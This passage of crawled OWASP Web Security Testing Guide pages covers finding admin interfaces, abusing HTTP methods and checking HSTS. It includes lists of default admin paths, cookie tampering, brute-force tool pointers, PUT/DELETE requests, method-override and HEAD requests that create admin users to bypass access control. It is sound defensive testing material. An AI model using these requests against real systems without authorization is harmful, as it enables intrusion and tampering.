"02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Enumerate Infrastructure and Application Admin Interfaces"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black Box Testing"}, {"uroven": 3, "text": "Gray Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Enumerate Infrastructure and Application Admin Interfaces\n\n| ID |\n| --- |\n| WSTG-CONF-05 |\n\n## Summary\n\nAdministrator interfaces may be present in the application or on the application server to allow certain users to perform privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.\n\nAn application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:\n\n- User account provisioning\n- Site design and layout\n- Data manipulation\n- Configuration changes\n\nIn many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.\n\n## Test Objectives\n\n- Identify hidden administrator interfaces and functionality.\n\n## How to Test\n\n### Black Box Testing\n\nThe following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide (for example, [bypassing authorization schema](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/02-Bypassing_Authorization_Schema) and [Insecure Direct Object References](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/04-Insecure_Direct_Object_References)) in greater detail.\n\n- Directory and file enumeration: An administrative interface may be present but not visibly available to the tester. The path of the administrative interface may be guessed by simple requests such as /admin or /administrator. In some scenarios, these paths can be revealed within seconds using advanced Google search techniques - [Google dorks](https://www.exploit-db.com/google-hacking-database) . There are many tools available to perform brute forcing of server contents, see the tools section below for more information. A tester may have to also identify the filename of the administration page. Forcibly browsing to the identified page may provide access to the interface.\n- Comments and links in source code: Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.\n- Reviewing server and application documentation: If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.\n- Publicly available information: Many applications, such as WordPress, have administrative interfaces that are available by default.\n- Alternative server port: Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat’s Administration interface can often be seen on port 8080.\n- Parameter tampering: A GET or POST parameter, or a cookie may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as:\n\n```\n \n```\n\nor in a cookie:\n\n`Cookie: session_cookie; useradmin=0`\n\nOnce an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance, the tester should be aware of the potential for administrative account lockout if such functionality is present.\n\n### Gray Box Testing\n\nA more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.\nSource code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the rendering of such components and the information leakage from such shared functionality.\n\nEach web framework may have its own default admin pages or paths, as in the following examples:\n\nPHP:\n\n```\n/phpinfo\n/phpmyadmin/\n/phpMyAdmin/\n/mysqladmin/\n/MySQLadmin\n/MySQLAdmin\n/login.php\n/logon.php\n/xmlrpc.php\n/dbadmin\n```\n\nWordPress:\n\n```\nwp-admin/\nwp-admin/about.php\nwp-admin/admin-ajax.php\nwp-admin/admin-db.php\nwp-admin/admin-footer.php\nwp-admin/admin-functions.php\nwp-admin/admin-header.php\n```\n\nJoomla:\n\n```\n/administrator/index.php\n/administrator/index.php?option=com_login\n/administrator/index.php?option=com_content\n/administrator/index.php?option=com_users\n/administrator/index.php?option=com_menus\n/administrator/index.php?option=com_installer\n/administrator/index.php?option=com_config\n```\n\nTomcat:\n\n```\n/manager/html\n/host-manager/html\n/manager/text\n/tomcat-users.xml\n```\n\nApache:\n\n```\n/index.html\n/httpd.conf\n/apache2.conf\n/server-status\n```\n\nNginx:\n\n```\n/index.html\n/index.htm\n/index.php\n/nginx_status\n/index.php\n/nginx.conf\n/html/error\n```\n\n## Tools\n\nSeveral tools can assist in identifying hidden administrator interfaces and functionality, including:\n\n- [ZAP - Forced Browse](https://www.zaproxy.org/docs/desktop/addons/forced-browse/) is a currently maintained use of OWASP’s previous DirBuster project.\n- [THC-HYDRA](https://github.com/vanhauser-thc/thc-hydra) is a tool that allows brute-forcing of many interfaces, including form-based HTTP authentication.\n- A brute forcer is much more effective when it uses a good dictionary, such as the [Netsparker](https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/) dictionary.\n\n## References\n\n- [Cirt: Default Password list](https://cirt.net/passwords)\n- [FuzzDB can be used to do brute force browsing admin login path](https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/predictable-filepaths/login-file-locations/Logins.txt)\n- [Common admin or debugging parameters](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/business-logic/CommonDebugParamNames.txt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6628, "slov": 822, "odkazu": 207, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:04", "sha256": "2fe59ea60be7ec62e2a66b02c9f0643861ea3917a50c057582252c52333ebb83", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.exploit-db.com/google-hacking-database", "https://www.zaproxy.org/docs/desktop/addons/forced-browse/", "https://github.com/vanhauser-thc/thc-hydra", "https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/", "https://cirt.net/passwords", "https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/predictable-filepaths/login-file-locations/Logins.txt", "https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/business-logic/CommonDebugParamNames.txt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/06-HTTP_Methods", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/06-HTTP_Methods", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/06-HTTP_Methods", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "HTTP Methods"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Discover the Supported Methods"}, {"uroven": 3, "text": "PUT and DELETE"}, {"uroven": 4, "text": "Legacy Web Servers"}, {"uroven": 4, "text": "RESTful APIs"}, {"uroven": 3, "text": "TRACE"}, {"uroven": 3, "text": "CONNECT"}, {"uroven": 3, "text": "PATCH"}, {"uroven": 3, "text": "QUERY"}, {"uroven": 3, "text": "Access Control Bypass"}, {"uroven": 3, "text": "HTTP Method Overriding"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# HTTP Methods\n\n| ID |\n| --- |\n| WSTG-CONF-06 |\n\n## Summary\n\nHTTP offers a number of methods (or verbs) that can be used to perform actions on the web server. While GET and POST are by far the most common methods that are used to access information provided by a web server, there are a variety of other methods that may also be supported, and can sometimes be exploited by attackers.\n\n[RFC 7231](https://datatracker.ietf.org/doc/html/rfc7231) defines the main valid HTTP request methods (or verbs), although additional methods have been added in other RFCs, such as [RFC 5789](https://datatracker.ietf.org/doc/html/rfc5789). Several of these verbs have been re-used for different purposes in [RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, listed in the table below.\n\n| Method | Original Purpose | RESTful Purpose |\n| --- | --- | --- |\n| [`GET`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.1) | Request a file. | Request an object. |\n| [`HEAD`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.2) | Request a file, but only return the HTTP headers. | |\n| [`POST`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.3) | Submit data. | |\n| [`PUT`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.4) | Upload a file. | Create an object. |\n| [`DELETE`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.5) | Delete a file | Delete an object. |\n| [`CONNECT`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.6) | Establish a connection to another system. | |\n| [`OPTIONS`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.7) | List supported HTTP methods. | Perform a [CORS Preflight](https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request) request. |\n| [`TRACE`](https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.8) | Echo the HTTP request for debug purposes. | |\n| [`PATCH`](https://datatracker.ietf.org/doc/html/rfc5789#section-2) | | Modify an object. |\n| [`QUERY`](https://datatracker.ietf.org/doc/html/rfc9110#section-9.3.7) | Safe retrieval of data with a request body. | Query objects or resources with complex parameters. |\n\n## Test Objectives\n\n- Enumerate supported HTTP methods.\n- Test for access control bypass.\n- Test HTTP method overriding techniques.\n\n## How to Test\n\n### Discover the Supported Methods\n\nTo perform this test, the tester needs a way to identify which HTTP methods are supported by the web server that is being examined. The simplest way to do this is to make an `OPTIONS` request to the server:\n\n```\nOPTIONS / HTTP/1.1 Host: example.org \n```\n\nThe server should then respond with a list of supported methods:\n\n```\nHTTP/1.1 200 OK Allow: OPTIONS, GET, HEAD, POST \n```\n\nHowever, not all servers may respond to OPTIONS requests, and some may even return inaccurate information. It’s also worth noting that servers may support different methods for different paths. This means that even if a method is not supported for the root / directory, it does not necessarily indicate that the same method won’t be supported elsewhere.\n\nA more reliable way to test for supported methods is to simply make a request with that method type, and examine the server response. If the method is not permitted, the server should return a `405 Method Not Allowed` status.\n\nIt’s worth noting that some servers treat unknown methods as equivalent to `GET`, so they may respond to arbitrary methods, such as the request shown below. This can occasionally be useful to evade a web application firewall, or any other filtering that blocks specific methods.\n\n```\nFOO / HTTP/1.1\nHost: example.org\n```\n\nRequests with arbitrary methods can also be made using curl with the `-X` option:\n\n```\ncurl -X FOO https://example.org\n```\n\nThere are also a variety of automated tools that can attempt to determine supported methods, such as the [`http-methods`](https://nmap.org/nsedoc/scripts/http-methods.html) Nmap script. However, these tools may not test for dangerous methods (i.e., methods that may cause changes such as `PUT` or `DELETE`), or may unintentionally cause changes to the web server if these methods are supported. As such, they should be used with care.\n\n### PUT and DELETE\n\nThe `PUT` and `DELETE` methods can have different effects, depending on whether they are being interpreted by the web server or by the application running on it.\n\n#### Legacy Web Servers\n\nSome legacy web servers allowed the use of the `PUT` method to create files on the server. For example, if the server is configured to allow this, the request below would create a file on the server called `test.html` with the contents ``.\n\n```\nPUT /test.html HTTP/1.1 Host: example.org Content-Length: 25\n\n\n```\n\nSimilar requests can also be made with curl:\n\n```\ncurl https://example.org --upload-file test.html\n```\n\nThis allows an attacker to upload arbitrary files to the webserver, which could potentially result in a full system compromise if they are allowed to upload executable code such as PHP files. However, this configuration is extremely rare, and is unlikely to be seen on modern systems.\n\nSimilarly, the `DELETE` method can be used to delete files from the webserver. Please note that this is a **destructive action**; therefore, extreme care should be exercised when testing this method.\n\n```\nDELETE /test.html HTTP/1.1 Host: example.org \n```\n\nOr with curl:\n\n```\ncurl https://example.org/test.html -X DELETE\n```\n\n#### RESTful APIs\n\nBy contrast, the `PUT` and `DELETE` methods are commonly used by modern RESTful applications to create and delete objects. For example, the API request below could be used to create a user called “foo” with a role of “user”:\n\n```\nPUT /api/users/foo HTTP/1.1 Host: example.org Content-Length: 34\n\n{\n \"role\": \"user\"\n}\n```\n\nA similar request with the DELETE method could be used to delete an object.\n\n```\nDELETE /api/users/foo HTTP/1.1 Host: example.org \n```\n\nAlthough it may be reported by automated scanning tools, the presence of these methods on a RESTful API **is not a security issue**. However, this functionality may have other vulnerabilities (such as weak access control), and should be thoroughly tested.\n\n### TRACE\n\nThe `TRACE` method (or Microsoft’s equivalent `TRACK` method) causes the server to echo back the contents of the request. This led to a vulnerability called Cross-Site Tracing (XST) to be published in [2003](https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf) (PDF), which could be used to access cookies that had the `HttpOnly` flag set. The `TRACE` method has been blocked in all browsers and plugins for many years; as such, this issue is no longer exploitable. However, it may still be flagged by automated scanning tools, and the `TRACE` method being enabled on a web server suggests that is has not been properly hardened.\n\n### CONNECT\n\nThe `CONNECT` method causes the web server to open a TCP connection to another system, and then pass traffic from the client to that system. This could allow an attacker to proxy traffic through the server, in order to hide their source address, access internal systems or access services that are bound to localhost. An example of a `CONNECT` request is shown below:\n\n```\nCONNECT 192.168.0.1:443 HTTP/1.1\nHost: example.org\n```\n\n### PATCH\n\nThe `PATCH` method is defined in [RFC 5789](https://datatracker.ietf.org/doc/html/rfc5789), and is used to provide instructions on how an object should be modified. The RFC itself does not define what format these instructions should be in, but various methods are defined in other standards, such as the [RFC 6902 - JavaScript Object Notation (JSON) Patch](https://datatracker.ietf.org/doc/html/rfc6902).\n\nFor example, if we have a user called “foo” with the following properties:\n\n```\n{ \"role\": \"user\", \"email\": \"foo@example.org\" } \n```\n\nThe following JSON PATCH request could be used to change the role of this user to “admin”, without modifying the email address:\n\n```\nPATCH /api/users/foo HTTP/1.1 Host: example.org\n\n{ \"op\": \"replace\", \"path\": \"/role\", \"value\": \"admin\" }\n```\n\nAlthough the RFC states that it should include instructions for how the object should be modified, the `PATCH` method is commonly (mis)used to include the changed content instead, as shown below. Much like the previous request, this would change the “role” value to “admin” without modifying the rest of the object. This is in contrast to the `PUT` method, which would overwrite the entire object, and thus result in an object with no “email” attribute.\n\n```\nPATCH /api/users/foo HTTP/1.1 Host: example.org\n\n{\n \"role\": \"admin\"\n}\n```\n\nAs with the `PUT` method, this functionality may have access control weaknesses or other vulnerabilities. Additionally, applications may not perform the same level of input validation when modifying an object as they do when creating one. This could potentially allow malicious values to be injected (such as in a stored cross-site scripting attack), or could allow broken or invalid objects that may result in business logic related issues.\n\n### QUERY\n\nThe `QUERY` method is a relatively newer HTTP method defined in [RFC 9110](https://datatracker.ietf.org/doc/html/rfc9110), designed for safe retrieval operations that require a request body. Like `POST`, it accepts structured data in the request body; unlike `POST`, it is safe and idempotent, meaning it does not modify server state and can be cached. This makes it semantically similar to `GET` but allows the expressiveness of complex filter parameters etc that would be unwieldy in a URL.\n\nFor example, the `QUERY` method could be used to submit a complex search query with multiple filter criteria:\n\n```\nQUERY /api/users/search HTTP/1.1\nHost: example.org\nContent-Type: application/json\n\n{\n \"filters\": {\n \"role\": \"admin\",\n \"status\": \"active\",\n \"lastLogin\": {\"after\": \"2024-01-01\"}\n }\n}\n```\n\nThe `QUERY` method is designed to be cacheable and safe (read-only), making it distinct from `POST`. It should not be used for operations that modify state on the server. Testers should verify that:\n\n- The server correctly treats `QUERY` as a safe operation and does not modify server state.\n- Access control is properly enforced for `QUERY` requests.\n- The method is not used as a workaround to bypass security controls that restrict other methods.\n\n### Access Control Bypass\n\nIf a page on the application redirects users to a login page with a 302 code when they attempt to access it directly, it may be possible to bypass this by making a request with a different HTTP method, such as `HEAD`, `POST` or even a made up method such as `FOO`. If the web application responds with a `HTTP/1.1 200 OK` rather than the expected `HTTP/1.1 302 Found`, it may then be possible to bypass the authentication or authorization. The example below shows how a `HEAD` request may result in a page setting administrative cookies, rather than redirecting the user to a login page:\n\n```\nHEAD /admin/ HTTP/1.1 Host: example.org \n```\n\n```\nHTTP/1.1 200 OK [...] Set-Cookie: adminSessionCookie=[...]; \n```\n\nAlternatively, it may be possible to make direct requests to pages that cause actions, such as:\n\n```\nHEAD /admin/createUser.php?username=foo&password=bar&role=admin HTTP/1.1 Host: example.org \n```\n\nOr:\n\n```\nFOO /admin/createUser.php\nHost: example.org\nContent-Length: 36\n\nusername=foo&password=bar&role=admin\n```\n\n### HTTP Method Overriding\n\nSome web frameworks provide a way to override the actual HTTP method in the request. They achieve this by emulating the missing HTTP verbs and passing some custom headers in the requests. The main purpose of this is to circumvent a middleware application (such as a proxy or web application firewall) which blocks specific methods. The following alternative HTTP headers could potentially be used:\n\n- `X-HTTP-Method`\n- `X-HTTP-Method-Override`\n- `X-Method-Override`\n\nTo test this, consider scenarios where restricted verbs like `PUT` or `DELETE` return a `405 Method not allowed`. In such cases, replay the same request, but add the alternative headers for HTTP method overriding. Then, observe the system’s response. The application should respond with a different status code (*e.g.* `200 OK`) in cases where method overriding is supported.\n\nThe web server in the following example does not allow the `DELETE` method and blocks it:\n\n```\nDELETE /resource.html HTTP/1.1 Host: example.org \n```\n\n```\nHTTP/1.1 405 Method Not Allowed [...] \n```\n\nAfter adding the `X-HTTP-Method` header, the server responds to the request with a 200:\n\n```\nGET /resource.html HTTP/1.1 Host: example.org X-HTTP-Method: DELETE \n```\n\n```\nHTTP/1.1 200 OK [...] \n```\n\n## Remediation\n\n- Ensure that only the required methods are allowed and that these methods are properly configured.\n- Ensure that no workarounds are implemented to bypass security measures implemented by user-agents, frameworks, or web servers.\n\n## Tools\n\n- [Ncat](https://nmap.org/ncat/)\n- [curl](https://curl.se/)\n- [Nmap http-methods NSE script](https://nmap.org/nsedoc/scripts/http-methods.html)\n\n## References\n\n- [RFC 7231 - Hypertext Transfer Protocol (HTTP/1.1)](https://datatracker.ietf.org/doc/html/rfc7231)\n- [RFC 5789 - PATCH Method for HTTP](https://datatracker.ietf.org/doc/html/rfc5789)\n- [RFC 9110 - HTTP Semantics](https://datatracker.ietf.org/doc/html/rfc9110)\n- [HTACCESS: BILBAO Method Exposed](https://web.archive.org/web/20160616172703/https://www.kernelpanik.org/docs/kernelpanik/bme.eng.pdf)\n- [Fortify - Misused HTTP Method Override](https://vulncat.fortify.com/en/detail?id=desc.dynamic.xtended_preview.often_misused_http_method_override)\n- [Mozilla Developer Network - Safe HTTP Methods](https://developer.mozilla.org/en-US/docs/Glossary/Safe/HTTP)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 13383, "slov": 1908, "odkazu": 223, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:06", "sha256": "d37826113cf16ede5826e1ace36cce7ecf20db8a5c43e84f61970fea20a96361", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://datatracker.ietf.org/doc/html/rfc7231", "https://datatracker.ietf.org/doc/html/rfc5789", "https://en.wikipedia.org/wiki/Representational_state_transfer", "https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request", "https://datatracker.ietf.org/doc/html/rfc9110", "https://nmap.org/nsedoc/scripts/http-methods.html", "https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf", "https://datatracker.ietf.org/doc/html/rfc6902", "https://nmap.org/ncat/", "https://curl.se/", "https://www.kernelpanik.org/docs/kernelpanik/bme.eng.pdf", "https://vulncat.fortify.com/en/detail?id=desc.dynamic.xtended_preview.often_misused_http_method_override", "https://developer.mozilla.org/en-US/docs/Glossary/Safe/HTTP", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/07-HTTP_Strict_Transport_Security", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/07-HTTP_Strict_Transport_Security", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/07-HTTP_Strict_Transport_Security", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "HTTP Strict Transport Security"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# HTTP Strict Transport Security\n\n| ID |\n| --- |\n| WSTG-CONF-07 |\n\n## Summary\n\nThe HTTP Strict Transport Security (HSTS) feature enables a web server to inform the user’s browser, via a special response header, that it should never establish an unencrypted HTTP connection to the specified domain servers. Instead, it should automatically establish all connection requests to access the site through HTTPS. This also prevents users from overriding certificate errors.\n\nConsidering the importance of this security measure, it is prudent to verify that the site is using this HTTP header in order to ensure that all the data travels encrypted between the web browser and the server.\n\nThe HTTP strict transport security header uses three specific directives:\n\n- `max-age` : to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.\n- `includeSubDomains` : to indicate that all related sub-domains must use HTTPS.\n- `preload` Unofficial: to indicate that the domain(s) are on the preload list(s) and that browsers should never connect without HTTPS.\n - While this is supported by all the major browsers, it is not an official part of the specification. (See [hstspreload.org](https://hstspreload.org/) for more information.)\n\nHere’s an example of the HSTS header implementation:\n\n`Strict-Transport-Security: max-age=31536000; includeSubDomains`\n\nThe presence of this header must be checked, as its absence could lead to security issues such as:\n\n- Attackers intercepting and accessing the information transferred over an unencrypted network channel.\n- Attackers carrying out manipulator-in-the-middle (MITM) attacks by taking advantage of users who accept untrusted certificates.\n- Users who mistakenly enter an address in the browser using HTTP instead of HTTPS, or users who click on a link in a web application that incorrectly uses the HTTP protocol.\n\n## Test Objectives\n\n- Review the HSTS header and its validity.\n\n## How to Test\n\n- Confirm the presence of the HSTS header by examining the server’s response through an intercepting proxy.\n- Use curl as follows:\n\n```\n$ curl -s -D- https://owasp.org | grep -i strict-transport-security:\nStrict-Transport-Security: max-age=31536000\n```\n\n## References\n\n- [OWASP HTTP Strict Transport Security](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security](https://www.youtube.com/watch?v=zEV3HOuM_Vw)\n- [HSTS Specification](https://tools.ietf.org/html/rfc6797)\n- [Enable HTTP Strict Transport Security In Nginx](https://www.nginx.com/blog/http-strict-transport-security-hsts-and-nginx/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2725, "slov": 362, "odkazu": 205, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:07", "sha256": "b68d10caf7a20005736c2f22e90723f3da65235e4861132752fa5769305d266c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://hstspreload.org/", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://www.youtube.com/watch?v=zEV3HOuM_Vw", "https://tools.ietf.org/html/rfc6797", "https://www.nginx.com/blog/http-strict-transport-security-hsts-and-nginx/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/08-RIA_Cross_Domain_Policy", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/08-RIA_Cross_Domain_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/08-RIA_Cross_Domain_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "RIA Cross Domain Policy"}], "markdown": "# WSTG - Latest\n\n# RIA Cross Domain Policy\n\n| ID |\n| --- |\n| WSTG-CONF-08 |\n\nThis content has been removed.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 181, "slov": 17, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:08", "sha256": "34fb36b2b1d7eb08cd630337cf329aacad1c843c24b753c53c8a62a6262391fa", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/09-File_Permission", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/09-File_Permission", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/09-File_Permission", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "File Permission"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# File Permission\n\n| ID |\n| --- |\n| WSTG-CONF-09 |\n\n## Summary\n\nWhen a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data.\n\nA clear example would be an executable file that can be run by unauthorized users. For another example, consider account information or a token value used to access an API. These are increasingly seen in modern web services and microservices, and may be stored in a configuration file that has world-readable permissions by default upon installation. Such sensitive data could be exposed either by malicious internal actors within the host system or by remote attackers. The latter may have compromised the service through other vulnerabilities, while gaining only normal user privileges.\n\n## Test 